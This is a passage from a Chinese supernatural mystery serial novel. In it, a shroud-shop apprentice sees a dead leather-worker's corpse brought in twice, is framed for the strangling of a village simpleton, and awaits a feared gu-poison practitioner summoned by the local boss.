晚上,我和小皮闲扯了好半天,凌晨一点左右才睡着,等睡着之后没过多久,就听到有人在砰砰的敲门。 寿衣店的规矩,是从来都不关张的,即便夜晚,门口的招牌不摘,店里也有人值班,深更半夜跑来敲寿衣店的门,那肯定是要买寿衣。 小皮虽然机灵,但睡觉睡的死,我听到敲门声,起身穿鞋到了前边,隔着门缝朝外看了看。 门外站着三个人,我一眼就认出来,这是平安集那个皮子作坊的三个皮匠。 第177章 突然死亡 这三个皮匠,我在平安集这里几乎天天都能见到,其中那个三十多岁的皮匠,是作坊的头儿,也是他那天第一个站出来跟老杂毛找麻烦的。 门外的月色是很清亮的,透过门缝,我能看到皮匠耷拉着脑袋,左右各站着一个同伴,架着皮匠的肩膀。 我微微吃了一惊,皮匠的身体很结实,上次和老杂毛动手,虽然吃了大亏,但事后检查了一下,只是一条腿骨折了,第二天就上了石膏夹板,不会危及到生命。 老杂毛那件事情过去了能有二十天左右,皮匠在屋里呆不住,有时候会自己拄着拐,到作坊附近走一走,期间我还见过他两三次,感觉这货根基很扎实,养上三两个月绝对可以痊愈。 可我没想到,此时此刻,他竟然直接就被人架了过来。 我这边还没把门打开,小皮就揉着眼睛也跟了上来,看到屋子外面是作坊的皮匠,小皮就打开了门。 “买……买寿衣……” “这是咋回事?皮匠大哥不是好好的吗?怎么突然就……” “说不……说不清楚……”一个同伴摇了摇头,言语间紧张而且惶恐:“赶紧给选一套合适的寿衣,穿上了,我们要连夜赶回家……” 本地的一些风俗就是家里人死在外地,就必须以最快速度赶回家,绝不能在外地火化或者入葬。 寿衣店的寿衣都是现成的,小皮过去拿了几套,两个同伴把皮匠放在店里的地面上,小皮选了一套看起来合适的,过去给皮匠试了试。 除了寿衣之外,死者一般还要一顶帽子,和一枚含在嘴里的铜钱。寿衣店好些天没生意了,零碎的小物件放的到处都是,小皮带着一个同伴去找,另一个人就蹲在门口,点了一支烟。 我心里觉得很奇怪,身强力壮的皮匠肯定不是因为腿断了才会死的,但是隔着身上的衣服,我也看不出皮匠的死因。 这事情,不知道是否牵扯到了老杂毛,我心里很担忧,到门口小声问道:“老哥,皮匠是……是咋没的?” “人都死了,还要问这么多干什么?”那人估计是不想回答我的问题,朝旁边挪了挪,闷着头继续抽烟。 人家不肯说,我就实在没有办法了,趁着周围没人,我蹲下来仔细看着皮匠的脸,试着能否看出一些关于死因的细节。 皮匠的表情看上去是很正常的,不像那种横死的人,一脸的狰狞可怖。他的皮肤已经凉了,没有什么温度,身躯也不算特别僵硬,要是按照我的经验,可能死了大概有三四个小时左右。 他的嘴巴和鼻子里,没有残存的血迹,说明不是外伤,也不是脏腑受损,肤色比较正常,也不像是中毒。他的眼睛没有闭严实,留着一条缝隙,看起来不像是传说中的死不瞑目。 人就这么死了,也看不出死因,这就让我的心里更加忐忑。 我正打算站起身,陡然间,我好像看到皮匠的眼珠子转了转,这一下就把我吓了一跳。 我觉得,这应该是视线的错觉,然而,等我再次望去的时候,脑袋一下子就大了。 皮匠的眼睛留着一条缝隙,刚才我在观察他的死因时,专门还看了看他的眼珠子,因为有些很特殊的毒,从皮肤上看不出迹象,但从眼球上能看出些许端倪。 我清楚的记得,皮匠的两只眼珠子,都在眼眶正中间的位置,可是此时此刻,他的两颗眼珠子,全都转到了眼眶的右边。 这种情景,就好像皮匠微微眯着眼睛,正在悄悄的注视我。 我的头皮一麻,还没来得及有多余的反应,小皮在那边找到了东西,和皮匠的同伴转身走了过来。 “这些东西,都给你包起来了。” “行……” 皮匠的同伴也不挑拣,拿了东西,随手丢下几十块钱,然后叫了门口的那个人,一起抬着皮匠走了。 他们这一走,连头都没有回,很快就消失在了夜色中,我悄悄溜到门口看了看,远远的就能看到皮匠作坊那边亮着灯,好像还来了一辆车子,应该是连夜拉着皮匠回乡的。 “这老哥,出手倒是很阔绰,一套寿衣,连同杂七杂八的,也要不了这么多钱,五满,你可别跟三大爷说……”小皮偷偷朝自己口袋里塞了二十块,把剩下的丢到了钱箱里。 “那个皮匠,怎么死的?” “不知道啊,不过真有点邪门,前两天不是还好好的?壮的和牛一样,说没就没了。” 我心里在犹豫着,该不该把刚才的事情告诉小皮。但是转念一想,人如果是刚死去不久的,身体某些机能可能还没有彻彻底底的瘫痪,出现一些细微的反应,也不代表真的有什么大问题。 要是跟小皮说了,他肯定也会紧张。 这个事情,就这么过去了,之后的两天时间里,我刻意的观察过,平安集没有什么异常,就是皮匠走的太突然,有些老主顾上门买东西,最后扑了个空。 程一的母亲身体一直不是很好,虽然比程白鹤年纪小的多,但是精神却差,每年都要定期到省城的大医院去做一做复检。程白鹤就交代小皮,在店里老老实实的看门。 程一是老两口唯一的女儿,母亲要去看病,程一肯定要陪同,他们一家三口都走了,留下我和小皮两个人在店里。不过,平时跟着程白鹤混饭吃的人还有不少,只是平时不会露面,真有事的时候,很快就能赶到。 程白鹤一走,小皮算是彻底放风了,带着我到县城那边玩,一玩就是一整天,到了天黑才回来。我也自己做好了安排,等到程白鹤他们回来之后,就到石头那边去,最起码要喝大甜瓜打个招呼,然后再回平安集。 一连玩了两天,晚上又和小皮打扑克,半夜才睡觉。这一次,仍然是睡了没多久,一阵敲门声就把我给惊醒了。 第178章 换寿衣 这阵敲门声不紧不慢,而且声音不高,小皮这两天来回疯跑,加上年纪比我小,瞌睡劲很大,敲门声又是先把我给吵醒了。 我还是那个想法,深更半夜来敲寿衣店的门,只可能是来买寿衣的。因为有了上次皮匠的事情,所以一听到敲门声,我的心就有点微微发毛。 我穿上鞋,来到了前头,还是先凑到门缝跟前朝外看了看。 今天是个阴天,视线不怎么清晰,透过门缝,我看见外面站着一个看上去有六十岁左右的老大娘。 这个老大娘很壮实,个子虽然没我高,但是比我粗了一圈,和门神一样,站在外头。 我在平安集这么长时间,从来没有见过这个大娘,心里觉得不踏实,但是人家半夜敲门,如果真的是来买寿衣的,我拖拖拉拉的会耽误事。 “先等等。” 我隔着屋门说了一句,然后匆匆忙忙回到后头,把小皮喊了起来,我想让小皮辨认一下,这个老大娘是不是平安集这边的。 我们重新回到前头,小皮隔着房门看了看,冲我摇了摇头,意思就是他以前也没见过这个人。 “买寿衣的,开开门。” 大娘在外头说了一句,人已经到门外头了,也不可能一直不开门,小皮把房门打开,还没来得及说话,大娘就抢在前头说道:“先前在你们这买了套寿衣,最后发现不怎么合身,想来换换。” “寿衣不合身?”小皮皱了皱眉头,不仅是他,就连我也从来没听说过,还有寿衣不合身这一说的。 “可不是不合身么?要不然,会大半夜的来换寿衣?” 这个大娘也不等小皮再回话,一步跨过了门槛。当她跨过门槛的那一瞬间,我和小皮都吃了一惊。 因为大娘身宽体胖,加上外面的光线不亮,我竟然一直没有看出来,大娘的后背上背着一个人。 让我更加诧异的是,那个人竟然是前两天已经被运走的皮匠。 皮匠当时就死的透透的,他的同伴买了寿衣,连夜就把他给拉走了,任谁都想不到,皮匠竟然又被这个大娘给背了回来。 “这个是我儿子,当初就是在你们这里买的寿衣,不合身,我专门带他来换一套。” 我和小皮对视了一眼,小皮很机灵,起身就去关店门,同时还朝外面看了几眼。 月黑风高,外面静悄悄的,看不到别的人,皮匠的几个同伴,都没有出现。 “给我儿子换一套吧。” 大娘把皮匠放到了地上,皮匠身上的寿衣并没有不合身,只不过两三天不见,寿衣上全都是污垢,脏兮兮的。 我和小皮以前都没有遇到过这样的事情,再加上皮匠当初还把我吓了一跳,此时此刻,我就很紧张,不知道这个大娘是什么来路,更不知道她到这里真正目的是什么。 小皮跟我使了个眼色,反正已经找上门了,那就见机行事。 我心里还是有点慌,以前没有出事的时候,总觉得自己的本事挺大,但经历了这么多,才知道那点本事根本不够看。跟着程白鹤吃饭的人不少,可都散布在别的地方,这深更半夜的,招揽人手也不方便,真有什么事情,也只能我和小皮两个人来解决。 “那我再给你拿一套。” 小皮转身重新拿了一套寿衣,大娘觉得可以,说道:“我胖,不方便蹲下,你们给帮忙换换吧。” “行,大娘,你到那边坐着吧。” 我就担心我和小皮换寿衣的时候,这个来历不明的大娘会在旁边下黑手,不过,大娘很爽快,立刻起身坐到了一旁的椅子上,离我们有三米远。 我和小皮一人一边,开始给皮匠换寿衣,我背对着大娘,小皮却能看到她,只要她有什么异常的举动,就瞒不过我们。 我一直提心吊胆的,总是觉得这个大娘来意不善,不过更换寿衣的时候,她就老老实实坐在椅子那边,连动都没动。 现在的天气比之前冷了,皮匠已经死了有一段时间,但尸体还完好,暂时也没有出现腐烂。我仔细看了看,皮匠的模样一点没有变,和前几天被抬过来的时候完全一样。 他的脸庞还是很平静,一双眼睛和上次那样微微的睁开一条缝隙,没有闭严。 我刻意的观察了一下,皮匠的眼珠子是在眼眶的右边,我的头皮一麻,立刻就想到了上次他的眼珠子无形中转动的那一幕。 换寿衣的时候,我和小皮都能感应到,皮匠肯定是死了,而且死的非常彻底,绝对没有活过来的可能。 现在只能以不变应万变,我们两个把皮匠身上的寿衣换了一下,小皮就跟大娘说了一声,让她看看满意不满意。 “这有什么满意不满意的,人都死了,寿衣只要合体,那也就行了。” “大娘,你走了老远的路?要不我给你倒碗水喝?” “水就不喝了,我还得背着我儿子上路。” 这个大娘胖的离谱,从椅子上起身都困难,这时候,我重新转头看了看地上的皮匠,脑瓜子嗡的一下,又蒙圈了。 我觉得自己不会看错,皮匠的眼珠子本来在右边,但是无形之中,两颗眼珠鬼使神差一般的又挪动到了眼眶的中间。 这到底是怎么回事? 上一次,我发现皮匠的眼珠子在挪动之后,就有种感觉,觉得这家伙好像死了以后也不安生,在偷偷的窥视我。 此时,我发现他的眼珠子又不对劲了,那种被窥视的感觉更加强烈。可是,一个死人,怎么还能挪动眼珠子? 我心里紧张,却不敢流露出来,那个大娘很干脆,等皮匠换完了寿衣,重新把他背起来,二话不说,直接就出了小店。 我和小皮躲在门后观察着,大娘走了一会儿,就彻底的消失在了夜色中。 这一次,我是相瞒也瞒不住了,就跟小皮把前后两次的异常之处说了说。 “不行的话,我跟上去看看吧,现在正是晚上,出窍神游很方便。” 小皮想要出窍,必须得昏厥过去,以前他自己下不去手把自己给弄晕,总得让程白鹤帮忙,现在也顾不上那么多了,我们俩急忙回到后院,小皮拿自己的脑袋用力在墙上一撞,一翻白眼,直接昏了过去。 第179章 来意莫测 小皮昏过去之后,我就在后院这边守着他。这时候我有点度日如年的感觉,心里焦灼不安。 大概过了有二十分钟时间,小皮的身躯轻轻一颤,我知道这是他要恢复正常了,一声不响的站在旁边。 没多久,小皮睁开眼睛苏醒了,我一直都在焦急的等,看见他醒过来,急忙追问道:“小皮,怎么样?能看出些啥吗?” “那个胖大娘,真的不是一般人……” 小皮吁了口气,似乎有点心有余悸。 以前小皮出窍神游的时候,几乎不会遇见什么危险,因为魂魄神游,无形无质,不要说普通人了,就算是有点道行的人,都不一定能够察觉。 除非是那种高手,才能敏锐的感应到神游。 那个大娘背着皮匠的尸体,顺着平安集里面一条小路朝外面走,最开始的时候,小皮就在尾随,也没有出现什么意外。大娘自顾自的走着,连头都没回。 这条小路一直连通到了平安集的外面,等大娘走到出去的路口时,小皮原本还打算继续尾随的,但是,路口那边一堆凌乱的垃圾后头,突然窸窸窣窣的传出了动静。 大娘停下了脚步,慢慢转头看了看。 随即,垃圾堆后面露出了二傻子的脸庞,这家伙平时吃饱喝足,就会在平安集随便找个地方睡觉,别人嫌垃圾堆又脏又臭,二傻子却浑然不觉。 二傻子是个混不吝,给他吃的喝的,他很温顺,但有时候又会毫无来由的发狂。 只不过,当二傻子看到那个大娘的时候,一下子就不敢动了。 大娘看了看二傻子,跟着又转头朝后面看了看。她虽然什么都没有说,但是双眼的目光似乎是两支箭,要把小皮的魂魄彻底洞穿。 小皮也被吓住了,也就是在这一瞬间,他突然就意识到,大娘其实已经知道自己尾随在后面了。 那个大娘出现在寿衣店的时候,不显山不露水的,但此时此刻,对方身上所流露出的气息,让小皮不寒而栗,他觉得自己要是再跟下去,后果难料。 小皮不敢冒险,要是他本人跟着大娘,真出了意外,身躯受伤,那还好说,神游的时候魂魄受伤,是非常严重的事,小皮只能暂时退了回来。 “要不然,咱们等会再悄悄过去看看?” “算了,估计是跟不上了。你神游尾随她,她都能察觉,咱们跟上去,肯定会被发现,再说,过去十来分钟了,肯定迟了。” “那个胖大娘到底是啥意思?来换了身寿衣直接就走了?” 小皮冥思苦想,也想不出个所以然,不仅仅是他,就连我也一头雾水。 但是,我总觉得这个事情和皮匠有关,前后两次送皮匠来的人都不一样,可每次都把皮匠本人给带来了。第一次的时候,勉强还能理解,毕竟都在平安集里,离的也不远。 但这一次情况就匪夷所思,我还没见过大老远的带着尸体去买寿衣的人。 这到底是为什么? 这时候,我突然就打了个冷战,因为我又想起了皮匠那双眼睛。 前后两次,皮匠都出现了,这是否意味着,谁送皮匠来,其实都无所谓,无论是他的同伴,还是那个胖大娘,但皮匠本人必须亲自到寿衣店来? 我一直都有一种被皮匠窥视的感觉,要是按照这个思路想一想的话,我就产生了个比较可怕而且诡异的念头。 他们两次把皮匠给送到这儿,就是为了让皮匠窥视我? 我想的脑袋都疼了,也无法判断自己的推测是否正确。皮匠死了之后,作坊关门了,他的几个同伴也暂时离开了平安集,查无对证。眼下唯一能找到的线索,就是那个来历不明的胖大娘。 现在距离天亮还有段时间,可是我翻来覆去都睡不着,脑子里一直在琢磨这件事,越是琢磨,心里就越不踏实。 第二天起床之后,我想了想,小皮昨天跟踪到半路,被迫返回,路口那边,就只剩下了二傻子,我就打算再去找二傻子问问,看看能否问出点情况来。 我出门就在平安集寻找二傻子,在我的印象里,二傻子每天都醒的很早,吃早饭的时候,他就会在各个早点摊子跟前晃悠,跟人家要吃的。 平安集一共四五个早点摊子,我来来回回找了两遍,竟然没看到二傻子。 我不死心,还是到处找他,一口气找了一上午,也没有二傻子的踪影。这家伙有时候也会溜出平安集,到外面疯跑,实在没办法了,我只能在平安集到处的搜索。 这一找,就整整找了大半天,早饭午饭的时候,二傻子始终没有出现,到了傍晚时分,我垂头丧气的回到寿衣店,跟小皮说了说。 “小皮,你觉得……二傻子会不会出什么事?” “应该不会吧,谁去为难个傻子?二傻子在平安集好几年了,就算脾气再不好的人,也不会把他怎么样,欺负傻子,传出去会坏了自己名声的。” “但那个大娘,不是平安集的人。” “别多想了,到明天我跟你一起去找。” 我们两个随便吃了点晚饭,寿衣店好久都没有打理过了,也就是皮匠来买了两次寿衣,小皮害怕程白鹤回来会骂他,晚饭之后,就老老实实的把店里的货重新盘一盘,然后规规矩矩的摆好。 外面的天色黑了,我反正也睡不着,就出来遛弯,顺便看看能不能遇见二傻子。 一直逛到了十点多钟,平安集里面大大小小的铺子几乎全都要打烊了,我正准备回去,突然间,就在一个小馆子的外面,看见了二傻子。 二傻子不知道从哪儿钻出来了,蹲在小馆子门口的一侧,端着一碗剩饭,吃的正香。我过去拍了拍他的肩膀,二傻子抬起头,刺溜着鼻子看了看我。 “想吃肉不?” “肉……肉……”二傻子一听肉,立刻就把手里的破碗给扔了。 我到馆子里买了点熟肉,然后带着二傻子,绕到不远处的一个角落里,这里很隐蔽,也不会有人听到我们说话。 第180章 摊上人命 我跟二傻子打过交道,也不用费太大的劲,只要用吃的引导他,他总会把自己知道的事情说出来。 “昨天晚上,你在那边路口睡觉的?” “你……你咋知道?” “我猜的呗,你睡觉的时候,是不是半夜有个人从那边路过了?是个大娘。” “胖……”二傻子用手在自己的腰上比划了一下:“老胖了……” “对,就是那个胖大娘,你看见她以后,她朝什么地方走了?” “她……” 二傻子说到这里的时候,好像不由自主的打了个冷战,像是想起了什么事情,顿时就闭上了嘴巴。 我对付二傻子也有了点经验,越是这个时候,越是不能逼他,只能慢慢的引导。 我一边和他说话,时不时就给他拿点东西吃,二傻子吃的津津有味,等我再问他什么事情的时候,他虽然犹豫,但最后还是说了出来。 “那个胖……胖大娘,背着皮匠。” “对,她就是背着皮匠。” “我害怕皮匠……”二傻子咕咚咽了口唾沫,皮匠的脾气很不好,以前二傻子溜达到皮匠的作坊那边,皮匠就会捡砖头扔他,让他赶紧走。 “没事,皮匠趴在她背上,又不会打你,你怕什么?” “皮匠没……没打我……就是回头看我……我害怕他的眼睛……” “什么?皮匠……皮匠回头看你?” 二傻子断断续续的说,我很认真的听,至少用了十几分钟的时间,才把来龙去脉完全搞清楚了。 当时,神游的小皮已经被吓退了,就剩下傻子躲在垃圾堆后面,悄悄的看着大娘。估摸着,大娘也不想跟这个傻子为难,看了看傻子,转身慢慢的朝前走。 她背上背着那么大一个人,二傻子肯定能看见的。二傻子认出那是皮匠,就吓的不敢乱动,一直留在原地。 等大娘走出去几步之后,趴在她背上的皮匠,慢慢的转了转头,脑袋几乎拧成了九十度,然后朝二傻子这边看。 二傻子毕竟神智不是那么清晰,他也不知道皮匠已经死了,就觉得皮匠是在瞪他,赶紧就缩回到了垃圾堆的后头。 等二傻子再露头的时候,大娘已经背着皮匠走的无影无踪了。 我的脑瓜子嗡嗡的,感觉自己都被二傻子说迷糊了。皮匠先后被送到寿衣店两次,是死是活,我不可能看不出来。 皮匠都死了,是怎么回头去看二傻子的? 要是这种话从别人的嘴里说出来,我或许会怀疑,但二傻子肯定不会撒谎。 我心里的感觉很不好,不管皮匠是死是活,都不是什么好征兆。我在犹豫,考虑着是暂时离开平安集,还是留下来慢慢的查清楚这件事。 我在思索之间,二傻子就狼吞虎咽的吃肉,半斤肉架不住他这么吃,等吃完以后,他还没吃饱,嚷嚷着饿。 “走吧,再给你买点吃的。” 我带着二傻子,到远处一个售卖夜宵的小摊那边,给二傻子买了馄饨和烧饼,付过钱之后,我就自己先回到了寿衣店。 事情的发展出乎我的意料,我把经过跟小皮说了一遍,小皮也琢磨不透,这究竟是怎么回事。 但是,我心里的预感越来越强烈,我觉得自己先前的推测或许是对的。 皮匠前后两次被送过来,可能就是为了窥视我。可是,一个死人怎么窥视我?窥视我的目的是什么? 这种事情很难解释,因为我以前听师傅说过,就算是一个普通人,如果时机和环境都很恰当,那么在他濒死之前,的确是能看到一些平常根本无法看到的情景。 然而,皮匠都死透了,他拿什么来看我? 我越想,心里就越乱,到了半夜也睡不着,就害怕自己睡着了之后,突然又有人来敲门买寿衣。 就这么翻来覆去的想,一直到了凌晨两三点钟,才迷迷糊糊的睡了过去。 估计也就是过了有三四个小时,砰砰的敲门声一下子又把我给惊醒了。醒来的第一时间,我就觉得是不是有人半夜来买寿衣,但是转头看看屋里的钟,已经是早上六点半了。 现在的天气渐渐变凉,天亮的也迟,这时候只是蒙蒙亮,小皮也被敲门声惊醒了,两个人到前头悄悄看了看,就看见有四五个人站在门外。 这四五个人,我都不熟悉,不过也不算面生,我知道,这是七爷的人,平时就守在玉方斋那边。 小皮打开门,还没说话,对方呼啦啦的全都涌了进来。 “你们……” “你先别说话。”为首的那个汉子,估计有四十岁上下,黢黑的大脸盘子,光溜溜的脑袋,平安集的人都不知道他真名叫什么,平时都喊他老黑。 老黑把小皮推到一旁,转头盯着我,眼神很凶。 说实话,我并不害怕别人用凶巴巴的眼神盯着我,比老黑更凶的人,我也见过。我只是觉得,老黑此刻的眼神还有举动很奇怪。我在平安集,跟他们从来没打过什么交道,可是现在看起来,好像我得罪了他们似的。 “黑哥,这是有啥事?”小皮也看出来老黑的眼神不善,赶紧过来询问。 “这人是谁?从哪儿来的?” “是我们家的朋友啊,从外地来找我玩的。” “朋友?” “是朋友,黑哥,有啥事,你就直说吧。” “你这朋友,倒是好胆子,竟然还没跑。” 老黑这番话让我和小皮都是一头雾水,小皮还要问,但老黑就有点不耐烦了,一把就抓住了我的手腕。 “既然有胆子不跑,那就跟我走吧。” “到底有啥事,你先说。” “果然是自古英雄出少年。”老黑冷笑了一声,语气中带着一丝难以隐藏的凶戾:“你摊上人命了,还能这么镇定,真有本事!” “什么?什么人命?” “到了现在,还在装迷糊?”老黑转头朝着门外喊道:“你进来。” 第181章 不白之冤 老黑这一嗓子喊出去,外面就缩头缩脑的走进来一个人。 这人是平安集里一个晚上摆摊子卖夜宵的小老板,昨天夜里,我就是带着二傻子到他的摊子上去吃的夜宵。 “你来认认人。”老黑指着我,冲着小老板说道:“是他不是?” “是……昨晚上,就是他带着二傻子去吃的饭。” “听到了么?这就是人证。” “人证?什么人证,我带着二傻子去吃了顿饭,犯法了吗?” “吃饭不犯法,但是杀人可就犯王法了!” 我心里隐隐觉得不妙,这个老黑一口一个出了人命,就让我感觉是不是二傻子出了什么事。 “有什么事,你直接说了就行了,不用在这里拐弯抹角。” “你倒是硬气,也不知道是骨头硬,还是嘴硬!” 老黑冷笑一声,叽里呱啦说了一堆,他一说完,我才知道发生了什么事情。 现在天气冷了,晚上外出的人不多,一直到了凌晨四点钟,两个平时在平安集这里打扫卫生的老人,就发现了二傻子的尸体。 二傻子蜷缩在一个角落里,身子已经僵了。 平安集有平安集的规矩,一般出了什么事情,都是七爷出面料理,而且,平安集这里大部分都是三教九流混江湖的人,江湖人有江湖人的讲究,出了事,基本是用私刑。 所有人都养成了这个习惯,两个打扫卫生的老人发现二傻子的尸体之后,立刻就跑到玉方斋那边,把情况和七爷的人说了。 老黑带着人去找到了二傻子的尸体,二傻子完全死透了,一眼扫过去,就能看到二傻子的脖子上,有一道很明显的勒痕。 老黑他们都是老油条,经验很丰富,从勒痕的状态就能推断出发力角度,认为二傻子是被人从背后用绳子给勒死的。 当时天色还早,几个卖宵夜的摊子刚刚准备收摊,老黑带着人问了一遍,一下子就问出昨天晚上是我带着二傻子去吃宵夜的。 我的脑袋顿时大了一圈,立刻就觉得自己跳到了黄河都洗不清了。 但人命关天的大事,我肯定不会认,小皮也在旁边帮着我说话,只是老黑他们不管这么多,连拉带扯的,要把我送到七爷那边去。 “黑哥,我三大爷如今也不在家,要不然,等我三大爷回来再说?你放心,我们俩都不会跑。” “你说的倒是轻巧,一条人命,你三大爷回来又咋样?能把人救活吗?平安集的规矩,你不是不知道!别跟我废话,有什么,去七爷那边再说!” 事情到了这一步,我真的是骑虎难下,这时候肯定不能逃走,一旦逃走,就等于认了这件事。 老黑他们人多势众,七爷在平安集这边的势力又大,反抗也没用,我能想到这一点,小皮自然也能想到,他紧张的一思索,冲我使了个眼色。 “无满哥,要不,你就先去见见七爷,七爷是最讲道理的,绝不会冤枉好人。” 小皮肯定是想趁着这个机会去搬救兵,万花门的人,平时不在平安集,还得跑到别的地方去找。 如今没有别的办法,只能拖延一下时间,我就暂时放弃了抵抗,跟着老黑他们出了门。 老黑带着我,到了七爷在平安集一处空闲的门面,这个地方平时也是处理各种事务的,空荡荡的大屋,就摆着几张桌椅板凳。我进门的第一时间,一眼就看到了地上摆着一具盖着白布的尸体。 七爷坐在上首的太师椅上,身边是几个满脸横肉的大汉。下首的几张椅子上也坐着人,基本都是平安集这里上了岁数的元老。 我的心一下子凉透了,按照平安集的规矩,如果遇到什么大事,七爷会召集几个有辈分的人,过来给自己撑场面,反正大事小情最后基本都是七爷说了算,几个老辈人是来当陪衬的。 但老辈人只要出面,就证明这件事很大。 这几个人明显睡眼惺忪,估计都是临时从被窝里被拖出来的,七爷这么做,无疑就是想让几个老辈人一起发发话,然后当场把事情坐实。 二傻子在平安集已经几年了,一直好端端的,我就是昨天单独找他问了点事情,结果二傻子当晚就死了,连想都不用想,这肯定是栽赃嫁祸。 我在平安集这里没得罪过谁,一时间,我也想不明白,会是谁给我挖了这么大一个坑。 “外人到了平安集,总要惹出些麻烦。”七爷瞥了我一眼,然后叫人把盖在二傻子身上的白布给掀开。 二傻子果然死了,脸色微微有些发青,嘴唇也发紫,脖子上那道勒痕非常明显,我觉得的确是被人给活活勒死了。 “这就是个傻子,他有什么得罪你的地方,你骂他两句,打他一顿,出了心里那口气也就罢了,何必下这样的死手?” “我没杀他。” “昨晚上那么晚了,你还带着傻子去吃饭,除了你,还有别人接触过他?”七爷眯了眯眼睛,说道:“年轻人,到了平安集这里,光靠嘴巴硬是没用的,人证都在,你抵赖不了。” “我是带着二傻子去吃了饭,这能证明我杀了他?我图什么?” “平白无故的,你带他去吃什么饭?” “有点事情要问他。” “有点事情问二傻子?”七爷呵呵一笑,朝旁边看了看,那几个老辈人也都陪着干笑了两声:“他一个傻子,能知道什么事情?你看着模样挺伶俐的,难道心思还不如一个傻子?有事得找傻子去问?” 我一时间也不知道该怎么说了,虽然我说的是实话,可七爷的怀疑,也不是没有一点道理。 为了表明自己清白,我只能硬着头皮,把那个胖大娘来给皮匠换寿衣的事情说了说。 皮匠的死,已经传出去了,这一点谁都不能否认。然而,七爷他们明显不相信我说的话。 “你说有人半夜去寿衣店换寿衣,谁看见了?” “小皮也在。” “你俩穿着一条裤子,你让他给你证明?年轻人,不要以为嘴硬就能蒙混过关,我们平安集藏龙卧虎,你要是不说实话,会有人教你说实话的,说!为什么杀了傻子!” 第182章 百口莫辩 “我没有杀他!” “没有杀他,那会是谁杀了他?” “总之,我没有杀他。” 此时此刻,我的脑子反应的还算很快,没有做过的事情硬是扣到我头上,这分明就是栽赃。这里到处都是七爷的人,那几个老辈人也是看着七爷的脸色行事的,要是落到这帮人的手里,我真的是洗脱不掉身上的冤屈。 如今唯一一个不是办法的办法,就是让他们把我交到公家手里头,哪怕是送到派出所去,也比落在七爷手里强。到公家那边,起码我还有的说,人家也不会平白无故的冤枉我。 “你还是不认?” “我没有做过的事,为什么要认?你要真觉得是我杀了二傻子,你就把我交上去,让公家的人去决断。” “平安集,有平安集的规矩,起码要把事情查清楚了之后再说,免得说别人冤枉了你。” “你什么意思?” “我说了,平安集有平安集的规矩!” “我没杀人!你空口白牙,说人是我杀的,有什么证据!?” “我不怕你抵赖,你是不是觉得,没有人看见你杀人,就平安无事了?来,派人去把苗大奶奶请来!” 当七爷说出苗大奶奶这几个字的时候,下面几个老辈人的脸色就忍不住变了变,虽然没说什么话,可是从他们的表情里就能看得出,这个苗大奶奶不是普通人,似乎让他们感觉非常的畏惧。 七爷的两个手下这时候也有点迟疑,小声问道:“七爷,要去请……苗大奶奶?” “怎么,我说的话,你们听不懂?你们到了苗大奶奶那里,就跟她说,是我请她来帮个忙的。” “是……” 这两个人似乎也有点不情愿,但是不敢违抗七爷的命令,唯唯诺诺的走了。 他们走了之后,七爷就暂时闭上了嘴巴,眯着眼睛慢慢的喝茶,那几个老辈人也不开口,闷着头抽烟。我受不了这种气氛,但是肯定也离不开这里,就蹲下来仔细看了看二傻子的尸体。 二傻子的死因是明摆着的,不会有错,我心里琢磨着,七爷和程白鹤不对付,但是七爷不方便对程白鹤的女儿还有同族的侄子下手,我正好是个外人,在我身上做做文章,还是可以的。 如果真把这口黑锅扣在我头上,七爷肯定要趁机拿捏程白鹤。 我心里很冒火,同时又觉得丧气,自己的运势太差了,走到哪里好像都要倒上一次霉。 那个苗大奶奶住的地方应该很远,七爷派出去的两个人已经走了一个多小时,也没见回来。这时候天色已经大亮了,有些人听到了风声,跑到七爷这边来看热闹,围在外头嘀嘀咕咕的。 七爷似乎一点都不害怕把事情给闹大,外头的闲人在看热闹,他也不管。 这时候,小皮带着几个人匆匆忙忙的赶来了,但是,对小皮的到来,七爷视而不见,根本就没把这几个人放在眼里。 情况确实就是这样,小皮带来的这几个人,只能保证我在这里不吃什么亏,但是想把我弄走,肯定不可能。 “七爷,这里头肯定是有误会。” “误会不误会的,只有他自己心里清楚,你从小在平安集这里长大的,不知道平安集的规矩?他一个外人不懂,你也不懂?” “七爷,要不然就等我三大爷回来了,咱们再慢慢说这个事?” “不要抬着你三大爷来压我,我是秉公办事,天王老子来了也没用。告诉你,一边等着吧,我已经派人去请苗大奶奶了,苗大奶奶总不会平白无故的冤枉他,你说呢?” 一听到苗大奶奶,小皮的脸色也变了变,他知道跟七爷再说下去也不会有什么用,急忙就到了我身边,小声问道:“五满哥,二傻子的事,真的和你没有关系吧?” “没关系,我就是找他问了问那个胖大娘的事情,给他买了点东西,然后就回寿衣店了。” “我信你,可是……”小皮偷偷看了七爷一眼,皱着眉头说道:“七爷派人去请苗大奶奶,这事情就难办。” “苗大奶奶是什么人?” “是个很不好招惹的人。” 这个苗大奶奶并不是内地人,是从西南那边来的,当初,她跟着丈夫一起在这边讨生活,到了平安集重新兴起的时候,夫妻俩就在这儿开了一个药铺,专门售卖一些西南地区的民间偏方。 除此之外,苗大奶奶还帮人治病,最开始的一两年里,的确积累了好口碑,有的疑难杂症,只要苗大奶奶出手,基本都能药到病除。 而且,据说苗大奶奶的祖上是苗巫,懂一些乱七八糟的术法,反正是个博学多才的人。 但是,过了一段时间之后,一个很偶然的情况下,人们就发现了苗大奶奶给人治病的猫腻。 那些人本身就没有什么病,是苗大奶奶偷偷给他们的食物里下药,苗大奶奶很善于用蛊,她暗中给人下的蛊,也只有她自己能解,所以每次都可以药到病除。 这件事情出来之后,苗大奶奶的口碑一下子就崩塌了,人人都防着她,药铺里的生意冷清的很,一年到头都没有人上门。 就在这个时候,又出了点很意外的事情。苗大奶奶的丈夫平时没什么事,东游西逛,在外头认识了女人,偷偷的养了起来,被苗大奶奶给发现了。 要是放到别的人身上,肯定一哭二闹三上吊,但苗大奶奶根本就不言语,好像什么事情都没发生过一样。 可是,一个来月之后,苗大奶奶的丈夫,直接就死在了外面那个女人的家里头,平安集的人当时都不在场,只是后来听人说的,苗大奶奶的丈夫是吐血而死的,一个劲儿的吐,根本就止不住,吐了十来分钟血,人就不行了。 还有人说,苗大奶奶她丈夫吐的血里面,有一条一条很小很小的虫子,虫子也是红色的,血被吐出来之后,这些虫子就融化在了血液里面,没有留下任何的端倪和破绽。 出了这件事以后,苗大奶奶也不在平安集立足了,搬到了距离县城二十里之外的地方。 听到小皮的讲述以后,我忍不住打了个哆嗦,这个苗大奶奶,显然也是个很难缠的角色。 第183章 苗大奶奶 现在说什么都来不及了,七爷派去请苗大奶奶的人,应该已经在回来的路上。 